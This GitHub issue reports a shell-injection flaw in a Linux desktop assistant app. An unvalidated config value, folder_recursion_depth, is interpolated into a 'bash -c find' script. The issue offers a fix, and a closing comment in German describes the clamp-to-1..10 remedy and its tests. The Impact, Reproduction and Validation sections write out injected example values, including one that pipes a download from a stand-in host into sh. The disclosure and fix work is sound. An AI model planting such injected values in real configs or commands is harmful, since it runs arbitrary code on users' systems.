Skip to content

[LOW] folder_recursion_depth config value is interpolated unvalidated into a bash -c find script #46

Closed

Description

@Toqsick

Summary

The home-directory scan builds a shell script by interpolating the config value folder_recursion_depth straight into a bash -c script — unvalidated and unescaped:

  • lib/services/linux.dart:936 — final int depth = ConfigHandler().getValueUnsafe("folder_recursion_depth", 3); (declared int but getValueUnsafe returns dynamic; no parse/validation anywhere)
  • lib/services/linux.dart:942-946 — the sink:
    await Linux.runCommandWithCustomArguments(
      "bash",
      [
        "-c",
        "find '${home.replaceAll("'", r"'\''")}' -maxdepth $depth -type d"
      ],
      environment: {"PWD": "/"},
    );

The $home interpolation is correctly single-quote-escaped, and $depth's line even documents quoting for the path — but $depth itself is interpolated into the script text with no integer validation. The setting is never written by the settings UI (lib/layouts/settings/search_settings.dart:41 has the toggle commented out), so the only writer is the user-editable config file — but anything that reads the config with getValueUnsafe accepts whatever the file contains, including a non-numeric or shell-bearing value.

Impact

OS command injection from app config: a folder_recursion_depth value of 3; curl evil.sh | sh (or simply 3 -o, which silently changes find semantics) is executed as /bin/sh source when the app builds its folder search index. The privilege is the desktop user's own account — the config file is user-writable, so this is not a privilege boundary crossing — but it violates the repo's own invariant that every value reaching a shell script is a validated constant (see the comment at lib/services/linux.dart:3266-3269 acknowledging exactly this assumption, and the fixed keyword-search site at lib/services/linux.dart:1470-1474). Secondary impact: a non-integer value makes find fail, silently yielding an empty folder list.

Complexity

  • Complexity: 1 (Trivial)

Evidence

// lib/services/linux.dart:935-947
final int depth =
    ConfigHandler().getValueUnsafe("folder_recursion_depth", 3);
final String home = homeFolder.endsWith("/")
    ? homeFolder.substring(0, homeFolder.length - 1)
    : home;

await Linux.runCommandWithCustomArguments(
  "bash",
  [
    "-c",
    "find '${home.replaceAll("'", r"'\''")}' -maxdepth $depth -type d"
  ],
  environment: {"PWD": "/"},
).then((value) {

Reproduction (no app run needed — the script text is built verbatim):

grep -n 'maxdepth \$depth' lib/services/linux.dart   # shows the unvalidated interpolation

With a config file containing folder_recursion_depth: "1; id > /tmp/pwn", the executed command becomes find '<home>' -maxdepth 1; id > /tmp/pwn -type d → id > /tmp/pwn runs.

Recommended Fix

  1. Validate at the boundary: final int depth = int.tryParse(ConfigHandler().getValueUnsafe("folder_recursion_depth", 3).toString()) ?? 3; (or have the helper return the typed value with a bounded range, e.g. clamp to 1..10).
  2. Optionally pass the depth as an argv element instead of interpolating it into the script text: ["-c", "find '$escapedHome' -maxdepth \"\$1\" -type d", "la", "$depth"] — matching the pattern already used at lib/services/linux.dart:3304-3309 (printf '%s\n' "$1" >> "$2").
  3. Add a small unit test feeding a malicious config value through the script-building path.

Related context: #42 tracks the systemic runInShell default; this issue survives that fix because it is script-text interpolation into an explicit bash -c, not argv shell-joining.

References

Validation

attacker_source: user-editable app config file (~/.config/linux-assistant or ConfigHandler store), key folder_recursion_depth
missing_guard: no int.tryParse / range validation on the config value before interpolation
sink_effect: value is interpolated into a bash -c script string that is executed to enumerate the home directory, so shell metacharacters in the value run as shell source with the desktop user's privileges
preconditions: config file contains a non-integer or shell-metacharacter value for folder_recursion_depth; user opens the main search / folder scan runs
proof_anchors: lib/services/linux.dart:936 (`ConfigHandler().getValueUnsafe("folder_recursion_depth", 3)` into an `int`), lib/services/linux.dart:945 (`-maxdepth $depth` inside the bash -c script string)
suggested_validation: sed -n '935,947p' lib/services/linux.dart  # then: dart test with a config value of "1; touch /tmp/pwn" asserting the built script contains no unescaped depth

Activity

  1. Toqsick commented on Oct 29, 2026

    @Toqsick
    OwnerAuthor

    Behoben — der Fix ist in main

    Stand: main @ d9321ef (PR #159, „WP-S3 + V0.8.6 Welle 1 (Q1, Q2, Q3, Q5, Q6) — zusammengefuehrt")
    Ursprungsbranch: feature/56-wp-s3-hygiene
    Nachweis: docs/handoff/v0.8.2-wp-s3-security-hygiene.md

    Was geändert wurde

    Die ungeprüfte Interpolation des Config-Werts ist durch eine explizite Klemme ersetzt. Der Wert kann jetzt ausschliesslich eine Ganzzahl im Bereich 1..10 sein — alles andere fällt auf 3 zurück.

    Datei Änderung
    lib/services/folder_recursion_depth.dart (neu) clampFolderRecursionDepth(dynamic) — klemmt auf kMinFolderRecursionDepth..kMaxFolderRecursionDepth (1..10), Fallback kDefaultFolderRecursionDepth (3). Rechnet auf BigInt, damit ein Riesenwert nicht überläuft.
    lib/services/linux.dart:940-943 Neue Methode folderRecursionDepth() — liest den Config-Wert und klemmt ihn.
    lib/services/linux.dart:964 Die Aufrufstelle nutzt jetzt folderRecursionDepth() statt des rohen final int-Casts.

    Der konkrete Payload aus dem Issue

    Der im Issue genannte Wert 3; curl evil.sh | sh ist keine Ganzzahl. BigInt.tryParse akzeptiert ausschliesslich Ziffern mit optionalem Vorzeichen — kein "3.5", kein "0x10", kein Text mit Metazeichen. Der Wert landet damit im Fallback (3) und wird als Ziffernfolge in die find-Kommandozeile geschrieben. Ein ausgefuehrtes Artefakt ist damit nicht moeglich.

    Nebenbefund (behoben)

    Der alte final int-Cast war der Grund fuer die stille Fragilität: ein Textwert im Config erzeugte einen TypeError, die Ordnersuche lieferte dann eine leere Liste, ohne dass der Benutzer den Grund gesehen haette. Das ist mit der Klemme erledigt.

    Tests

    test/wp_s3_hygiene_test.dart, Gruppe „Die Rekursionstiefe der Ordnersuche ist geklemmt" (7 Tests):

    • eine zu kleine Tiefe wird auf 1 gehoben
    • eine zu grosse Tiefe wird auf 10 gesenkt
    • eine plausible Tiefe bleibt unveraendert
    • ein Textwert landet im Fallback und loest nichts aus
    • fehlt der Config-Wert, gilt der Default
    • die Klemme nimmt eine Zahl als Text an
    • die Klemme verwirft Werte, die keine Zahl sind

    Gates auf main

    Alle elf CI-Gates gruen: tool/check-versions.sh, dart format (133 Dateien, 0 geaendert), flutter analyze (0 Findings), flutter test (297 Tests), Python-Root-Runner (62 Tests), GTK-Token-Gate (96 Tests), packages/la_core (0 Findings, 25 Dateien, 68 Tests).

    Der manuelle GUI-Abnahmeschritt bleibt davon unberuehrt — er ist in #51 als eigener Vorgang gefuehrt.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions